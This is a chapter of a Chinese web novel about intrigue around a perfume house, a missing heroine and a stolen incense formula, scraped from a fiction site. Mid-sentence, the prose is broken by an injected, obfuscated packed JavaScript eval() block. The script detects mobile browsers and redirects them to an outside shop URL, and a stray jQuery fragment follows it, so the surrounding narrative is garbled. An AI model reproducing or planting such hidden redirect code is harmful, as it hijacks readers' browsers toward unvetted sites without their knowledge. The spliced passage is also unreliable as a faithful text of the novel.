文趣网 > 其他小说 > 跳车白捡个夫君 > 37. 利益
    罗帐轻垂,袅袅香烟裹着晨露蒙在香台的半块铜镜上,镜中人正拈起一朵玉白色的花瓣。倏然,台面上的花影颤动起来。“沈副辞,昨日知柚整夜未归,今儿早也没见回来。刚朝廷来了人,不知道有何事要商议,这阵子阁主催着她去见呢。”纤细的腰肢附下,莹儿喘着粗气,明摆了是偷摸跑过来报信的。

    “才刚当上主辞就旷职怠惰,洛知柚真是好大的胆子。”门外又蓦然响起夏知春的嬉笑,她慢悠悠地踏进门,故意站在靠沈语棠肩处更近的地方,语气里毫不掩饰看热闹的用意。

    经历了蒙岭山一遭,洛知柚和沈语棠的关系肉眼可见地变好,莹儿这才第一时间想找沈语棠帮忙,只可惜没料到夏知春也跟了来。

    “知柚替霂花阁去谈生意了,约摸着过几天才能回来,阁主那儿我先去吧。”说罢沈语棠站起身,含笑的眸子从夏知春手上落回莹儿红光满照的脸,悄悄使了个眼色。

    刚生疑惑的莹儿半知半解地点点头,暗暗揣度到其中的意味。沈语棠这是撒了个小谎,在稳住夏知春,避免走漏了风声。

    “什么嘛,如今做生意都不经过我这个执辞了?当真是小家子做派,难不成怕我抢她生意吗?”

    庆幸的是夏知春信了这一说法,不满地抖抖衣衫上蹭上的香粉。“莹儿,前阵子私市的苏公子说西域进来了一批上等的香料,你随知春去瞧瞧,记得入阁时仔细些。”沈语棠缓和发话,暗有支开夏知春一意。转头又对夏知春道:“这批货名贵的很,要你亲自去看着我才安心。”

    “既然沈姐姐这么说了,我自然没有不去的道理。”话落后夏知春已然在门口等待,眼神里满是催促之意地望向莹儿。

    “这就……来。”领悟到这层意味后,莹儿扭头迟疑地督了眼默默收好香粉盒的沈语棠,才快步跟上。

    移步霂花阁内厅,沈语棠先是督到一抹浅青色,远远观去似是一位冷艳绝尘的女子。预料中,来的应该是位富态圆滑的公公。

    虽感到蹊跷,但还是没停下脚下的步子。离近一看,浅青变成了湖蓝,那静坐的女子也转眼成了一位俊俏的公子,悠悠地摇着羽扇。刚欲说话,对上他转来的一双堇色的眸子。

    “上……官公……”意识到脱口的不周后,沈语棠轻抿唇瓣不由地后退一步,目光落到侧旁的羽扇间。

    “嗯,沈姑娘认得鄙人?”先是一笑,上官逸又收回羽扇行礼,腰背挺直地敛袖屈身,“早闻沈府千金蕙质兰心,今日一见果然不凡。”

    “上官公子言笑了。”没继续客套,沈语棠谈笑间继续流转着眸光,暗自寻找阁主的身影。

    上官逸,少年才俊,今科榜首。沈语棠自幼素爱诗文,屡览魁首文章。今年品读出自上官逸的一篇,觉得气韵独出,似是涌入暖泉的一股冷流,辗转多番却仍能冰意如故。于是便颇费心思留意了一番,今日认出也属花开自落。

    “阁主不在此处。”转向最后一处角落后,耳边传来上官逸的轻言,“鄙人此行是专来找沈姑娘的。”

    眸光回落到上官逸的坐处,沈语棠未语,只是静静等待着下语。“见来人是沈姑娘,可见鄙人猜测不假,洛姑娘昨日也整日未归?”

    乍闻其言,她心中陡然一震,面上却淡然到不露一丝破绽,抬手头发这类心虚的举止也并未出现,“还未来的及去知柚房里,若是上官公子觉得副辞资历浅薄,我这就去唤她。”

    见她眉角乱了的碎发散在一旁,上官逸连忙解释,“沈姑娘误会了,鄙人并非朝廷派来兴师问罪,而是有事愿劳姑娘相助。”

    从前在斗兽场见霂花阁主副辞间共抗敌兽,又相互关怀不假。上官逸早在暗中猜测两人并非外界传言那般水火不容,心下较劲。刚演了一出找主辞的戏码,沈语棠果真替她瞒下怠慢王命的罪过,更令这虚无的传言不攻自破。自己也放下心来找沈语棠帮忙。

    “公子但说无妨。”

    “鄙人猜测知柚姑娘恐怕现被困于谢王爷的府邸之中,还想请沈姑娘借着霂花阁的名义和鄙人走一趟,探清虚实后,将洛姑娘安然接出来。”

    昨日半夜时分,乌鸦报信前来,说裴青禾和洛知柚在一艘游船之上。两人久久未归,卯时,景玄带人到江边寻找,果真发现了岸边中刀昏迷的裴青禾。回府后景玄第一时间来林涧公馆找上官逸诉说了整件事情的概况,这才有了今早来霂花阁一说。

    “侯爷不便出面?”

    裴青禾此时性命堪忧,迟迟不醒,其中刀一事,最忌讳走漏风声。若是被不轨之人稍加利用,怕是朝堂再有风云变幻。且沈语棠为当朝中书之女,实在不能不防,上官逸只好搪塞过去,“此事侯爷不便出面,还请姑娘谅解。”

    窥探到其中难意,沈语棠自是不便细问。眼下最要紧之事不过是探明洛知柚的下落,既尔欣然应下。

    “语棠,你来了。”正答应着,阁主从厅后款款走来。对正欲起身的上官逸微笑道:“我已封手多年,平日里霂花阁的事务多靠这群孩子们费心,上官公子的事,可有办妥?”

    “多谢阁主挂念,沈副辞办事没有不放心的道理。”几句寒暄过后,上官逸起身离去。和沈语棠约定,午后未时于谢府碰面。

    断魂香初问世之时,由霂花阁阁主亲自引领带众人调配,为先皇稳住了大兴江山。后先皇驾崩,断魂香在大火中被人所窃,此事事关重大,涉及江山安定及诸党纷争,不宜外泄。

    少帝登基后,只与静安侯裴青禾一人说与此事。为将断魂香送归朝廷,裴青禾暗中差人调配。天下没有不透风的墙,谢司晟等人一度以为他静安侯要调香造反,架空皇权。于是也私下暗访香阁,想先一步造出此香,三足鼎立之势缓缓铸就。

    这期间谢司晟也找过阁主讨要断魂香配方一事,无奈阁主封手已久,软硬不吃,断然拒绝再配此香。持配方在手又有朝廷庇护

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740330|202623||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    故不能强取,谢司晟也只好无奈作罢。

    至于皇上不让阁主再配断魂香的缘由,一来阁主宣布封手停香,二来霂花阁效忠于先皇,阁主是否会将断魂香失窃的消息泄露于外党也未可知,这一步险棋只得按兵不动。

    “语棠,为师好久没与你同坐一处如今日这般唠些家常了。”捻起一盅放了许久的茶盏,阁主在唇边轻吹了一阵,“霂花阁最近一切都好吗?”

    “一切照旧,有了侯爷送来的银两和一些生意所得,维持正常周转是不足为虑了。”沈语棠低头答道,茶盖在温热的茶汤中浸了又浸,“朝廷拨给霂花阁的银子一月不足一月,这样下去怕是……”

    “这是王爷要挫霂花阁的锐气,克扣银子不过是为了……”凉了的茶又被原封不动地放回了木案上,阁主摇摇头,沈语棠看不清她的神情,“欲望有了盛器,便会一直孕育,过满则溢。真到了那时候,便是有再大的能耐也盛不住。”

    “有些东西,碰了再后悔,一切就都晚了。”

    阁主说辞恳切,默默将头转置一旁。沈语棠有些怀疑自己是否从这眼神中参透了一丝哀伤,但总不是些好的情绪。她不知道好端端的霂花阁何时得罪了谢司晟,让他处处刁难。但能惹王爷如此置气的怕是免不了牵连政事。

    霂花阁之大,上至送入宫祭祀的香品下至姑娘们的吃穿用度,哪一样不是银子堆砌的?更何况霂花阁为朝廷派遣,无形之中拷上了一幅枷锁,否则闭阁大吉……

    闭阁,说得轻巧,实则无人舍得这心心念念一笔一笔打下的香阁。这里,姑娘们香艺伴身,靠着一手香术也能堂堂正正地攒下银两。或用在自身,或补贴家用,总之不必迈不过读书科举的门槛而留在家中任听许配。

    如此想来,侯府送来的银两倒是解了霂花阁的燃眉之急。“也多亏了知柚,侯爷送来的银子能让霂花阁撑好一阵了了。”

    “侯爷这步棋走得稳,打着亲选闻香师的名义往霂花阁里塞银子。这份情,但愿咱们还的起。”

    这话一听,像是洛知柚本就该是霂花阁的人一般。亲选闻香师到像是一个幌子,不过是为了名正言顺地往霂花阁送钱。

    “可知柚不是知春绑来的吗?”沈语棠不解,也不敢再细想下去。

    “知春这孩子,确实是急了些,好在每次都办不成坏事。”阁主眉间漾出一圈欣慰。

    仔细一想,若裴青禾只是为了治病,大可偷偷瞒着众人让知柚做他一人的闻香师便罢。以他的势力,封锁一条消息何其容易,何故引得世人皆知?原来这其中还有这样一层含义,可见即使没有夏知春,他也有另外一千种法子将洛知柚送入霂花阁。

    也是介于这个原因,阁主不得不偏心一点,当初虽然洛知柚没有位列三辞之位也照样能习得真传。这等城府,真叫人背后虚空,仿佛置身渊侧一般。

    说到底,不过是利益互换,利益外套着更深的利益。